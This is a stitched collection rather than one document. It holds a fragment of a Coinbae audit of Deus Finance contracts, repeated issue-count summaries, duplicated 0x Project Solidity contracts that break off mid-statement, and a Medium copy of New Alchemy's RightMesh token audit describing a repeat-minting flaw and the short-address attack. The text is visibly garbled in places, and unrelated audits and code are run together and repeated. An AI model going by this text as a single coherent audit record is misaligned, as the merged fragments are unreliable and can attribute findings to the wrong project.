"0x8Cd408279e966b7e7E1f0b9E5eD8191959d11a19", "topic": "0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0", "event": "OwnershipTransferred", "args": { "0": "0x8b9C5d6c73b4d11a362B62Bd4B4d3E52AF55C630", "1": "0xd9775d818FC23e07aC4b8eFd4C58972F7c59BC0f", "previousOwner": "0x8b9C5d6c73b4d11a362B62Bd4B4d3E52AF55C630", "newOwner": "0xd9775d818FC23e07aC4b8eFd4C58972F7c59BC0f", "length": 2 } } ] value 0 wei 10Contract Flow 11 Audit Team Team Lead: Eelko Neven Eelko has been in the it/security space since 1991. His passion started when he was confronted with a formatted hard drive and no tools to undo it. At that point he started reading a lot of material on how computers work and how to make them work for others. After struggling for a few weeks he finally wrote his first HD data recovery program. Ever since then when he was faced with a challenge he just persisted until he had a solution. This mindset helped him tremendously in the security space. He found several vulnerabilities in large corporation servers and notified these corporations in a responsible manner. Among those are Google, Twitter, General Electrics etc. For the last 12 years he has been working as a professional security /code auditor and performed over 1500 security audits / code reviews, he also wrote a similar amount of reports. He has extensive knowledge of the Solidity programming language and this is why he loves to do Defi and other smartcontract reviews. Email: info@coinbae.com 12Coinbae Audit Disclaimer Coinbae audit is not a security warranty, investment advice, or an endorsement of the Deus Finance platform. This audit does not provide a security or correctness guarantee of the audited smart contracts. The statements made in this document should not be interpreted as investment or legal advice, nor should its authors be held accountable for decisions made based on them. Securing smart contracts is a multistep process. One audit cannot be considered enough. We recommend that the the Deus Finance Team put in place a bug bounty program to encourage further analysis of the smart contract by other third parties. 13Conclusion We performed the procedures as laid out in the scope of the audit and there were 11 findings, 8 medium and 3 low. There were also 3 high severity issues that were explained by the team in their response. Subsequently, these issues were removed by Coinbae, although still on the report for transparency’s sake. The medium risk issues do not pose a security risk as they are best practice issues that is why the overall risk level is low.
Issues Count of Minor/Moderate/Major/Critical Minor: 1 Moderate: 1 Major: 0 Critical: 0 Minor Issues 2.a Problem: Solidity assert violation. 2.b Fix: Update the contracts to the latest supported version of solidity. Moderate Issues 3.a Problem: Incorrect ERC20 implementation. 3.b Fix: Update the contracts to the latest supported version of solidity. Major Issues: None Critical Issues: None Observations: It is best practice to use the latest version of the solidity compiler supported by the toolset you use. Conclusion: Coinbae's audit report division performed an audit for the Deus Finance team (DEAStaking pool) and found 1 minor and 1 moderate issue. The issues can be fixed by updating the contracts to the latest supported version of solidity. Issues Count of Minor/Moderate/Major/Critical: - Minor: 0 - Moderate: 0 - Major: 0 - Critical: 1 Critical: 5.a Problem: Overpowered user 5.b Fix: See the update and teams response on page 10. Observations: - Outdated compiler version - No or floating compiler version set - Use of right-to-left-override control character - Shadowing of built-in symbol - Incorrect constructor name - State variable shadows another state variable - Local variable shadows a state variable - Function parameter shadows a state variable - Named return value shadows a state variable - Unary operation without effect Solidity code analysis - Unary operation directly after assignment - Unused state variable - Unused local variable - Function visibility is not set - State variable visibility is not set - Use of deprecated functions: call code(), sha3(), etc. - Use of deprecated global variables (msg.gas, etc.) - Use of deprecated keywords (throw, var) - Incorrect function state mutability - Does the code conform to the Solidity styleguide Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 0 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Functions on DEAStaking.sol (setShares, setRewardPerBlock`,setWallets) are callable only from one address if the private key of this address becomes compromised rewards can be changed and this may lead to undesirable consequences. 2.b Fix: Use a multisig wallet for overpowered users. Moderate: None Major: None Critical: None Observations: After pointing out the high severity issues to the Deus Finance team consensus was reached and corroborated by the Coinbae team. The Deus Finance team did in fact place control of the contracts under ownership of the DAO(Decentralized autonomous organization) as can be seen in this tx id. Conclusion: The audit team concluded that the issue was solved and the risk was moved to low.
/* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.4.14; import { Ownable } from "zeppelin-solidity/contracts/ownership/Ownable.sol"; import { ERC20 as Token } from "zeppelin-solidity/contracts/token/ERC20/ERC20.sol"; /// @title TokenTransferProxy - Transfers tokens on behalf of contracts that have been approved via decentralized governance. /// @author Amir Bandeali - <amir@0xProject.com>, Will Warren - <will@0xProject.com> contract TokenTransferProxy is Ownable { /// @dev Only authorized addresses can invoke functions with this modifier. modifier onlyAuthorized { require(authorized[msg.sender]); _; } modifier targetAuthorized(address target) { require(authorized[target]); _; } modifier targetNotAuthorized(address target) { require(!authorized[target]); _; } mapping (address => bool) public authorized; address[] public authorities; event LogAuthorizedAddressAdded(address indexed target, address indexed caller); event LogAuthorizedAddressRemoved(address indexed target, address indexed caller); /* * Public functions */ /// @dev Authorizes an address. /// @param target Address to authorize. function addAuthorizedAddress(address target) public onlyOwner targetNotAuthorized(target) { authorized[target] = true; authorities.push(target); LogAuthorizedAddressAdded(target, msg.sender); } /// @dev Removes authorizion of an address. /// @param target Address to remove authorization from. function removeAuthorizedAddress(address target) public onlyOwner targetAuthorized(target) { delete authorized[target]; for (uint i = 0; i < authorities.length; i++) { if (authorities[i] == target) { authorities[i] = authorities[authorities.length - 1]; authorities.length -= 1; break; } } LogAuthorizedAddressRemoved(target, msg.sender); } /// @dev Calls into ERC20 Token contract, invoking transferFrom. /// @param token Address of token to transfer. /// @param from Address to transfer token from. /// @param to Address to transfer token to. /// @param value Amount of token to transfer. /// @return Success of transfer. function transferFrom( address token, address from, address to, uint value) public onlyAuthorized returns (bool) { return Token(token).transferFrom(from, to, value); } /* * Public constant functions */ /// @dev Gets all authorized addresses. /// @return Array of authorized addresses. function getAuthorizedAddresses() public constant returns (address[]) { return authorities; } } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.4.14; import { Ownable } from "zeppelin-solidity/contracts/ownership/Ownable.sol"; import { ERC20 as Token } from "zeppelin-solidity/contracts/token/ERC20/ERC20.sol"; contract TokenTransferProxyNoDevdoc is Ownable { modifier onlyAuthorized { require(authorized[msg.sender]); _; } modifier targetAuthorized(address target) { require(authorized[target]); _; } modifier targetNotAuthorized(address target) { require(!authorized[target]); _; } mapping (address => bool) public authorized; address[] public authorities; event LogAuthorizedAddressAdded(address indexed target, address indexed caller); event LogAuthorizedAddressRemoved(address indexed target, address indexed caller); /* * Public functions */ function addAuthorizedAddress(address target) public onlyOwner targetNotAuthorized(target) { authorized[target] = true; authorities.push(target); LogAuthorizedAddressAdded(target, msg.sender); } function removeAuthorizedAddress(address target) public onlyOwner targetAuthorized(target) { delete authorized[target]; for (uint i = 0; i < authorities.length; i++) { if (authorities[i] == target) { authorities[i] = authorities[authorities.length - 1]; authorities.length -= 1; break; } } LogAuthorizedAddressRemoved(target, msg.sender); } function transferFrom( address token, address from, address to, uint value) public onlyAuthorized returns (bool) { return Token(token).transferFrom(from, to, value); } /* * Public constant functions */ function getAuthorizedAddresses() public constant returns (address[]) { return authorities; } } pragma solidity 0.4.24; pragma experimental ABIEncoderV2; contract StructParamAndReturn { struct Stuff { address anAddress; uint256 aNumber; } /// @dev DEV_COMMENT /// @param stuff STUFF_COMMENT /// @return RETURN_COMMENT function methodWithStructParamAndReturn(Stuff stuff) public pure returns(Stuff) { return stuff; } } pragma solidity ^0.4.24; contract MultipleReturnValues { function methodWithMultipleReturnValues() public pure returns(int, int) { return (0, 0); } } pragma solidity ^0.4.24; /// @title Contract Title /// @dev This is a very long documentation comment at the contract level. /// It actually spans multiple lines, too. contract NatspecEverything { int d; /// @dev Constructor @dev /// @param p Constructor @param constructor(int p) public { d = p; } /// @notice publicMethod @notice /// @dev publicMethod @dev /// @param p publicMethod @param /// @return publicMethod @return function publicMethod(int p) public pure returns(int r) { return p; } /// @dev Fallback @dev function () public {} /// @notice externalMethod @notice /// @dev externalMethod @dev /// @param p externalMethod @param /// @return externalMethod @return function externalMethod(int p) external pure returns(int r) { return p; } /// @dev Here is a really long developer documentation comment, which spans /// multiple lines, for the purposes of making sure that broken lines are /// consolidated into one devdoc comment. function methodWithLongDevdoc(int p) public pure returns(int) { return p; } /// @dev AnEvent @dev /// @param p on this event is an integer. event AnEvent(int p); /// @dev methodWithSolhintDirective @dev // solhint-disable no-empty-blocks function methodWithSolhintDirective() public pure {} }
2022/7/1 1 1:23 Right Mesh Smart Contract Audit. Right Mesh engaged New Alchemy to audit… | by New Alchemy | New Alchemy | Medium https://medium.com/new-alchemy/right-mesh-smart-contract-audit-55bc7b78c58c 1/10Published inNew Alchemy New Alchemy Follow Apr 17, 2018·10 min read Save Right Mesh Smart Contract Audit Right Mesh engaged New Alchemy to audit the smart contracts for their “RMESH” token. We focused on identifying security flaws in the design and implementation of the contracts and on finding differences between the contracts’ implementation and their behaviour as described in public documentation. The audit was performed over four days in February and March of 2018. This document describes the issues discovered in the audit. An initial version of this document was provided to RightMesh, who made various changes to their contracts based on New Alchemy’s findings; this document was subsequently updated in March 2018 to reflect the changes. Files Audited The code audited by New Alchemy is in the GitHub repository https://github.com/firstcoincom/solidity at commit hash Th id f hiiil 174Open in app Get started 2022/7/1 1 1:23 Right Mesh Smart Contract Audit. Right Mesh engaged New Alchemy to audit… | by New Alchemy | New Alchemy | Medium https://medium.com/new-alchemy/right-mesh-smart-contract-audit-55bc7b78c58c 2/1051b29dbba309acd6acd40931be07c3b857dee506. The revised contracts after the initial report was delivered are in commit 04c6bb594ad5fa0b8757feba030a1341f59e9f85. RightMesh made additional fixes whose commit hash was not shared with New Alchemy. New Alchemy’s audit was additionally guided by the following documents: RightMesh Whitepaper, version 4.0 (February 14 2018) RightMesh Technical Whitepaper, version 3.1 (December 17 2017) RightMesh Frequently Asked Questions The review identified one critical finding, which allowed the crowd sale owner to issue large quantities of tokens to addresses that it controls by abusing a flaw in the mechanism for minting “predefined tokens”. Three additional minor flaws were identified, all of which are best-practice violations of limited practical exploitability: lack of two-phase ownership transfer and of mitigations for the short-address attack, and token allocation configuration that is less than ideally transparent. An additional minor flaw was documented in some earlier versions of this report but was determined to be a false positive. After reviewing an initial version of this report, RightMesh made changes to their contracts to prevent predefined tokens from being minted multiple times and to mitigate short-address attacks. No changes were made to ownership transfers or to the configuration of predefined token allocations. General Discussion These contracts implement a fairly simple token and crowdsale, drawing heavily on base contracts from the OpenZeppelin project ¹. The code is well commented. However, the RightMesh white papers and other documentation provide very little detail about the operation of the crowd sale or token. It was not clear to New Alchemy who receives pre-defined token allocations; from MeshCrowdsale, how large these allocations are, or why they receive them. Likewise, it was not clear how Timelock fits into the token ecosystem. RightMesh later clarified that the pre-defined token allocations are for the "RightMesh GmbH & Community", "Left & team", "Advisors & TGE costs", and "Airdrop to community", as documented in the RightMesh FAQ. Further, the Timelock contractOpen in app Get started 2022/7/1 1 1:23 Right Mesh Smart Contract Audit. Right Mesh engaged New Alchemy to audit… | by New Alchemy | New Alchemy | Medium https://medium.com/new-alchemy/right-mesh-smart-contract-audit-55bc7b78c58c 3/10is used to hold these allocations. Some of the OpenZeppelin base contracts inherited by the RightMesh contracts have changed substantially since the RightMesh contracts were written. Consequently, the RightMesh contracts cannot be built against the head of OpenZeppelin. RightMesh should either copy a fork of the relevant OpenZeppelin contracts into their repository or document the OpenZeppelin release or commit that should be used to build their contracts. Critical Issues Fixed: Predefined tokens can be minted multiple times As its name implies, the function MeshCrowdsale.mintPredefinedTokens mints tokens according to an allocation set during deployment. This function does not check that it has not previously been called, so it can be called multiple times. Despite comments to the contrary, this function is tagged onlyOwner, so this function will only ever be called more than once if an owner makes a mistake or deliberately misbehaves. Further, MeshToken gets deployed in a default state of paused, which prevents any token transfers, and mintPredefinedTokens does check that the balance of each beneficiary is zero, so if mintPredefinedTokens has already been called, subsequent calls should have no effect. However, there are still possible conditions under which a beneficiary could transfer tokens prior to an extra call to mintPredefinedTokens: An owner could call MeshToken.unpause, which would allow all token holders to transfer tokens. MeshToken cannot be re-paused once unpaused, so any call to mintPredefinedTokens after MeshToken has been unpaused may mint additional tokens. An owner could use MeshToken.updateAllowedTransfers to flag a beneficiary as being allowed to make transfers despite MeshToken being paused. In the worst case, a rogue owner deploys MeshCrowdsale with a beneficiary address that it controls, flags that address to permit transfers despite MeshToken being paused, waits for some tokens to be sold, then alternates calls to MeshCrowdsale.mintPredefinedTokens and MeshToken.transfer to allocate up to the remaining crowdsale cap to itself. T tht dfidtk l itd tlhldb dddtOpen in app Get started 2022/7/1 1 1:23 Right Mesh Smart Contract Audit. Right Mesh engaged New Alchemy to audit… | by New Alchemy | New Alchemy | Medium https://medium.com/new-alchemy/right-mesh-smart-contract-audit-55bc7b78c58c 4/10To ensure that predefined tokens are only minted once, a control should be added to MeshCrowdsale.mintPredefinedTokensto ensure that it is called at most once. Some sort of control to ensure that MeshToken remains paused until the crowdsale completes may also be useful. Further, the comment or the declaration of mintPredefinedTokens should be amended so that they agree on what users are allowed to call this function. Re-test results: RightMesh added logic to prevent mintPredefinedTokens from being called twice and corrected the function comment to indicate that it can only be called by the owner. Minor Issues Not Fixed: Lack of two-phase ownership transfer In contracts that inherit the common Ownable contract from the OpenZeppelin project^2 (including MeshToken, MeshCrowdsale, and Timelock), a contract has a single owner. That owner can unilaterally transfer ownership to a different address. However, if the owner of a contract makes a mistake in entering the address of an intended new owner, then the contract can become irrecoverably unowned. In order to preclude this, New Alchemy recommends implementing two-phase ownership transfer. In this model, the original owner designates a new owner, but does not actually transfer ownership. The new owner then accepts ownership and completes the transfer. This can be implemented as follows: contract Ownable { address public owner; address public newOwner event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; newOwner = address(0); } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { require(address(0) != _newOwner); Open in app Get started 2022/7/1 1 1:23 Right Mesh Smart Contract Audit. Right Mesh engaged New Alchemy to audit… | by New Alchemy | New Alchemy | Medium https://medium.com/new-alchemy/right-mesh-smart-contract-audit-55bc7b78c58c 5/10 newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, msg.sender); owner = msg.sender; newOwner = address(0); } } Re-test results: RightMesh opted to preserve the current ownership transfer mechanism. Fixed: Lack of short-address attack protections Some Ethereum clients may create malformed messages if a user is persuaded to call a method on a contract with an address that is not a full 20 bytes long. In such a “short- address attack”, an attacker generates an address whose last byte is 0x00, then sends the first 19 bytes of that address to a victim. When the victim makes a contract method call, it appends the 19-byte address to msg.data followed by a value. Since the high- order byte of the value is almost certainly 0x00, reading 20 bytes from the expected location of the address in msg.data will result in the correct address. However, the value is then left-shifted by one byte, effectively multiplying it by 256 and potentially causing the victim to transfer a much larger number of tokens than intended. msg.data will be one byte shorter than expected, but due to how the EVM works, reads past its end will just return 0x00. This attack effects methods that transfer tokens to destination addresses, where the method parameters include a destination address followed immediately by a value. In the RightMesh contracts, such methods include MeshToken.mint, MeshToken.transfer, MeshToken.transferFrom, MeshToken.approve, MeshToken.increaseApproval, MeshToken.decreaseApproval, (all inherited from OpenZeppelin base contracts), and Timelock.allocateTokens. While the root cause of this flaw is buggy serializers and how the EVM works, it can be easily mitigated in contracts. When called externally, an affected method should verify that msg.data.length is at least the minimum length of the method's expected arguments (for instance, msg.data.length for an external call to Timelock.allocateTokens should be at least 68: 4 for the hash, 32 for the address (including12bytesofpadding)and32forthevalue;someclientsmayaddadditionalOpen in app Get started 2022/7/1 1 1:23 Right Mesh Smart Contract Audit. Right Mesh engaged New Alchemy to audit… | by New Alchemy | New Alchemy | Medium https://medium.com/new-alchemy/right-mesh-smart-contract-audit-55bc7b78c58c 6/10(including 12 bytes of padding), and 32 for the value; some clients may add additional padding to the end). This can be implemented in a modifier. External calls can be detected in the following ways: Compare the first four bytes of msg.data against the method hash. If they don't match, then the call is internal and no short-address check is necessary. Avoid creating public methods that may be subject to short-address attacks; instead create only external methods that check for short addresses as described above. public methods can be simulated by having the external methods call private or internal methods that perform the actual operations and that do not check for short-address attacks. Whether or not it is appropriate for contracts to mitigate the short-address attack is a contentious issue among smart-contract developers. Many, including those behind the OpenZeppelin project, have explicitly chosen not to do so. While it is New Alchemy’s position that there is value in protecting users by incorporating low-cost mitigations into likely target functions, RightMesh would not stand out from the community if they also choose not to do so. Re-test results: RightMesh overrode the listed functions to require that msg.data.length is at least 68. All are public, so they may not work properly if called internally from something with a shorter argument list. Not Fixed: Predefined token allocations are not hard-coded According to the RightMesh FAQ, tokens are allocated as follows: 30%: Public distribution (crowdsale) 30%: RightMesh GmbH & Community 20%: Left & team 10%: Advisors & TGE costs 10%: Airdrop to community These last five allocations are controlled at deployment by the beneficiaries and beneficiaryAmounts arrays passed into the constructor for MeshCrowdsale. While this hd h ll id ihblkhi h i b i dbOpen in app Get started 2022/7/1 1 1:23 Right Mesh Smart Contract Audit. Right Mesh engaged New Alchemy to audit… | by New Alchemy | New Alchemy | Medium https://medium.com/new-alchemy/right-mesh-smart-contract-audit-55bc7b78c58c 7/10approach does put the allocation data in the blockchain where it can be retrieved by interested parties, the state of the contract is not as easily located or reviewed as its source code. The current predefined token allocation in config/predefined-minting-config.js appears to try five times to assign 100 tokens to the address 0x5D51E3558757Bfdfc527867d046260fD5137Fc0F (this should only succeed once due to the balance check), though this may be test data. For optimal transparency, RightMesh should instead hard-code the allocation percentages or token counts so that anyone reviewing the contract source code can easily verify that tokens were issued as documented. Re-test results: RightMesh opted to preserve the current allocation configuration mechanism. Line by line comments This section lists comments on design decisions and code quality made by New Alchemy during the review. They are not known to represent security flaws. MeshCrowdsale.sol Lines 12, 52 – 53 OpenZeppelin has radically refactored their crowdsale contracts as of late February 2018. Among other things, CappedCrowdsale has been moved, the functionality for starting and ending times has been moved to TimedCrowdsale, and Crowdsale.validPurchase no longer exists. In order to ensure that a version of OpenZeppelin compatible with these contracts can be easily identified, RightMesh should copy a fork of the relevant contracts into their repository or at least document the commit that should be used. Re-test results: RightMesh added a comment to their code indicating that the version of OpenZeppelin at commit hash 4d7c3cca7590e554b76f6d91cbaaae87a6a2e2e3 should be used to build their contracts.Open in app Get started 2022/7/1 1 1:23 Right Mesh Smart Contract Audit. Right Mesh engaged New Alchemy to audit… | by New Alchemy | New Alchemy | Medium https://medium.com/new-alchemy/right-mesh-smart-contract-audit-55bc7b78c58c 8/10Line 42 “og” should be “of”. Re-test results: This issue has been fixed as recommended. Lines 96, 116, 132, 149, 159 There is no need for these functions to return bool: they all unconditionally return true and throw on failure. Removing the return values would make code that calls these functions simpler, as it would not need to check return values. It would also make them marginally cheaper in gas to execute. Re-test results: This issue has been fixed as recommended. Line 167 This function is declared as returning bool, but never returns anything. As above, there is no need for it to return anything. Re-test results: This issue has been fixed as recommended. MeshToken.sol Lines 60 The function should be tagged public or external rather than relying on the default visibility. Re-test results: RightMesh reports fixing this issue as recommended. Timelock.sol Line 91 If cliffReleasePercentage and slopeReleasePercentage ever sum to less than 100, then the remaining fraction of tokens will become available all at once once the slope duration expires, essentially creating a second cliff at the bottom of the slope. If this is not intended behaviour, then the check should be amended to require that the sum is 100%. Re-test results: RightMesh reports that this is intended behaviour.Open in app Get started 2022/7/1 1 1:23 Right Mesh Smart Contract Audit. Right Mesh engaged New Alchemy to audit… | by New Alchemy | New Alchemy | Medium https://medium.com/new-alchemy/right-mesh-smart-contract-audit-55bc7b78c58c 9/10Lines 117, 128, 138, 147, 176 There is no need for these functions to return bool: they all unconditionally return true and throw on failure. Removing the return values would make code that calls these functions simpler, as it would not need to check return values. It would also make them marginally cheaper in gas to execute. Re-test results: RightMesh reports fixing this issue as recommended. Line 157 Consider checking withdrawalPaused in availableForWithdrawal instead of in withdraw. As currently implemented, availableForWithdrawal may report a non-zero quantity available for a paused address, but withdrawal will fail. It would be more intuitive if availableForWithdrawal reported 0 for a paused address. Re-test results: RightMesh reports that this behaviour is by design: it allows employees to see unlocked tokens even if withdrawal is paused. Disclaimer The audit makes no statements or warranties about utility of the code, safety of the code, suitability of the business model, regulatory regime for the business model, or any other statements about fitness of the contracts to purpose, or their bugfree status. The audit documentation is for discussion purposes only. New Alchemy is a strategy and technology advisory group specializing in tokenization. One of the only companies to offer a full spectrum of guidance from tactical technical execution to high-level theoretical modeling, New Alchemy provides blockchain technology, token game theory, smart contracts, security audits, and ICO advisory to the most innovative startups worldwide. Get in touch with us at Hello@NewAlchemy.io Open in app Get started 2022/7/1 1 1:23 Right Mesh Smart Contract Audit. Right Mesh engaged New Alchemy to audit… | by New Alchemy | New Alchemy | Medium https://medium.com/new-alchemy/right-mesh-smart-contract-audit-55bc7b78c58c 10/10 About Help Terms Privacy Get the Medium app Open in app Get started
Issues Count of Minor/Moderate/Major/Critical Minor: 1 Moderate: 1 Major: 0 Critical: 0 Minor Issues 2.a Problem: Solidity assert violation. 2.b Fix: Update the contracts to the latest supported version of solidity. Moderate Issues 3.a Problem: Incorrect ERC20 implementation. 3.b Fix: Update the contracts to the latest supported version of solidity. Major Issues: None Critical Issues: None Observations: It is best practice to use the latest version of the solidity compiler supported by the toolset you use. Conclusion: Coinbae's audit report division performed an audit for the Deus Finance team (DEAStaking pool) and found 1 minor and 1 moderate issue. The issues can be fixed by updating the contracts to the latest supported version of solidity. Issues Count of Minor/Moderate/Major/Critical: - Minor: 0 - Moderate: 0 - Major: 0 - Critical: 1 Critical: 5.a Problem: Overpowered user 5.b Fix: See the update and teams response on page 10. Observations: - Outdated compiler version - No or floating compiler version set - Use of right-to-left-override control character - Shadowing of built-in symbol - Incorrect constructor name - State variable shadows another state variable - Local variable shadows a state variable - Function parameter shadows a state variable - Named return value shadows a state variable - Unary operation without effect Solidity code analysis - Unary operation directly after assignment - Unused state variable - Unused local variable - Function visibility is not set - State variable visibility is not set - Use of deprecated functions: call code(), sha3(), etc. - Use of deprecated global variables (msg.gas, etc.) - Use of deprecated keywords (throw, var) - Incorrect function state mutability - Does the code conform to the Solidity styleguide Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 0 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Functions on DEAStaking.sol (setShares, setRewardPerBlock`,setWallets) are callable only from one address if the private key of this address becomes compromised rewards can be changed and this may lead to undesirable consequences. 2.b Fix: Use a multisig wallet for overpowered users. Moderate: None Major: None Critical: None Observations: After pointing out the high severity issues to the Deus Finance team consensus was reached and corroborated by the Coinbae team. The Deus Finance team did in fact place control of the contracts under ownership of the DAO(Decentralized autonomous organization) as can be seen in this tx id. Conclusion: The audit team concluded that the issue was solved and the risk was moved to low.
/* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.4.14; import { Ownable } from "zeppelin-solidity/contracts/ownership/Ownable.sol"; import { ERC20 as Token } from "zeppelin-solidity/contracts/token/ERC20/ERC20.sol"; /// @title TokenTransferProxy - Transfers tokens on behalf of contracts that have been approved via decentralized governance. /// @author Amir Bandeali - <amir@0xProject.com>, Will Warren - <will@0xProject.com> contract TokenTransferProxy is Ownable { /// @dev Only authorized addresses can invoke functions with this modifier. modifier onlyAuthorized { require(authorized[msg.sender]); _; } modifier targetAuthorized(address target) { require(authorized[target]); _; } modifier targetNotAuthorized(address target) { require(!authorized[target]); _; } mapping (address => bool) public authorized; address[] public authorities; event LogAuthorizedAddressAdded(address indexed target, address indexed caller); event LogAuthorizedAddressRemoved(address indexed target, address indexed caller); /* * Public functions */ /// @dev Authorizes an address. /// @param target Address to authorize. function addAuthorizedAddress(address target) public onlyOwner targetNotAuthorized(target) { authorized[target] = true; authorities.push(target); LogAuthorizedAddressAdded(target, msg.sender); } /// @dev Removes authorizion of an address. /// @param target Address to remove authorization from. function removeAuthorizedAddress(address target) public onlyOwner targetAuthorized(target) { delete authorized[target]; for (uint i = 0; i < authorities.length; i++) { if (authorities[i] == target) { authorities[i] = authorities[authorities.length - 1]; authorities.length -= 1; break; } } LogAuthorizedAddressRemoved(target, msg.sender); } /// @dev Calls into ERC20 Token contract, invoking transferFrom. /// @param token Address of token to transfer. /// @param from Address to transfer token from. /// @param to Address to transfer token to. /// @param value Amount of token to transfer. /// @return Success of transfer. function transferFrom( address token, address from, address to, uint value) public onlyAuthorized returns (bool) { return Token(token).transferFrom(from, to, value); } /* * Public constant functions */ /// @dev Gets all authorized addresses. /// @return Array of authorized addresses. function getAuthorizedAddresses() public constant returns (address[]) { return authorities; } } pragma solidity ^0.4.14; contract ContractNameThatDoesntMatchFilename { } pragma solidity ^0.4.14; contract EmptyContract { } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.4.14; import {ERC20 as Token} from "zeppelin-solidity/contracts/token/ERC20/ERC20.sol"; import "./TokenTransferProxy.sol"; import "./base/SafeMath.sol"; /// @title Exchange - Facilitates exchange of ERC20 tokens. /// @author Amir Bandeali - <amir@0xProject.com>, Will Warren - <will@0xProject.com> contract Exchange is SafeMath { // Error Codes enum Errors { ORDER_EXPIRED, // Order has already expired ORDER_FULLY_FILLED_OR_CANCELLED, // Order has already been fully filled or cancelled ROUNDING_ERROR_TOO_LARGE, // Rounding error too large INSUFFICIENT_BALANCE_OR_ALLOWANCE // Insufficient balance or allowance for token transfer } string constant public VERSION = "1.0.0"; uint16 constant public EXTERNAL_QUERY_GAS_LIMIT = 4999; // Changes to state require at least 5000 gas address public ZRX_TOKEN_CONTRACT; address public TOKEN_TRANSFER_PROXY_CONTRACT; // Mappings of orderHash => amounts of takerTokenAmount filled or cancelled. mapping (bytes32 => uint) public filled; mapping (bytes32 => uint) public cancelled; event LogFill( address indexed maker, address taker, address indexed feeRecipient, address makerToken, address takerToken, uint filledMakerTokenAmount, uint filledTakerTokenAmount, uint paidMakerFee, uint paidTakerFee, bytes32 indexed tokens, // keccak256(makerToken, takerToken), allows subscribing to a token pair bytes32 orderHash ); event LogCancel( address indexed maker, address indexed feeRecipient, address makerToken, address takerToken, uint cancelledMakerTokenAmount, uint cancelledTakerTokenAmount, bytes32 indexed tokens, bytes32 orderHash ); event LogError(uint8 indexed errorId, bytes32 indexed orderHash); struct Order { address maker; address taker; address makerToken; address takerToken; address feeRecipient; uint makerTokenAmount; uint takerTokenAmount; uint makerFee; uint takerFee; uint expirationTimestampInSec; bytes32 orderHash; } function Exchange(address _zrxToken, address _tokenTransferProxy) { ZRX_TOKEN_CONTRACT = _zrxToken; TOKEN_TRANSFER_PROXY_CONTRACT = _tokenTransferProxy; } /* * Core exchange functions */ /// @dev Fills the input order. /// @param orderAddresses Array of order's maker, taker, makerToken, takerToken, and feeRecipient. /// @param orderValues Array of order's makerTokenAmount, takerTokenAmount, makerFee, takerFee, expirationTimestampInSec, and salt. /// @param fillTakerTokenAmount Desired amount of takerToken to fill. /// @param shouldThrowOnInsufficientBalanceOrAllowance Test if transfer will fail before attempting. /// @param v ECDSA signature parameter v. /// @param r ECDSA signature parameters r. /// @param s ECDSA signature parameters s. /// @return Total amount of takerToken filled in trade. function fillOrder( address[5] orderAddresses, uint[6] orderValues, uint fillTakerTokenAmount, bool shouldThrowOnInsufficientBalanceOrAllowance, uint8 v, bytes32 r, bytes32 s) public returns (uint filledTakerTokenAmount) { Order memory order = Order({ maker: orderAddresses[0], taker: orderAddresses[1], makerToken: orderAddresses[2], takerToken: orderAddresses[3], feeRecipient: orderAddresses[4], makerTokenAmount: orderValues[0], takerTokenAmount: orderValues[1], makerFee: orderValues[2], takerFee: orderValues[3], expirationTimestampInSec: orderValues[4], orderHash: getOrderHash(orderAddresses, orderValues) }); require(order.taker == address(0) || order.taker == msg.sender); require(order.makerTokenAmount > 0 && order.takerTokenAmount > 0 && fillTakerTokenAmount > 0); require(isValidSignature( order.maker, order.orderHash, v, r, s )); if (block.timestamp >= order.expirationTimestampInSec) { LogError(uint8(Errors.ORDER_EXPIRED), order.orderHash); return 0; } uint remainingTakerTokenAmount = safeSub(order.takerTokenAmount, getUnavailableTakerTokenAmount(order.orderHash)); filledTakerTokenAmount = min256(fillTakerTokenAmount, remainingTakerTokenAmount); if (filledTakerTokenAmount == 0) { LogError(uint8(Errors.ORDER_FULLY_FILLED_OR_CANCELLED), order.orderHash); return 0; } if (isRoundingError(filledTakerTokenAmount, order.takerTokenAmount, order.makerTokenAmount)) { LogError(uint8(Errors.ROUNDING_ERROR_TOO_LARGE), order.orderHash); return 0; } if (!shouldThrowOnInsufficientBalanceOrAllowance && !isTransferable(order, filledTakerTokenAmount)) { LogError(uint8(Errors.INSUFFICIENT_BALANCE_OR_ALLOWANCE), order.orderHash); return 0; } uint filledMakerTokenAmount = getPartialAmount(filledTakerTokenAmount, order.takerTokenAmount, order.makerTokenAmount); uint paidMakerFee; uint paidTakerFee; filled[order.orderHash] = safeAdd(filled[order.orderHash], 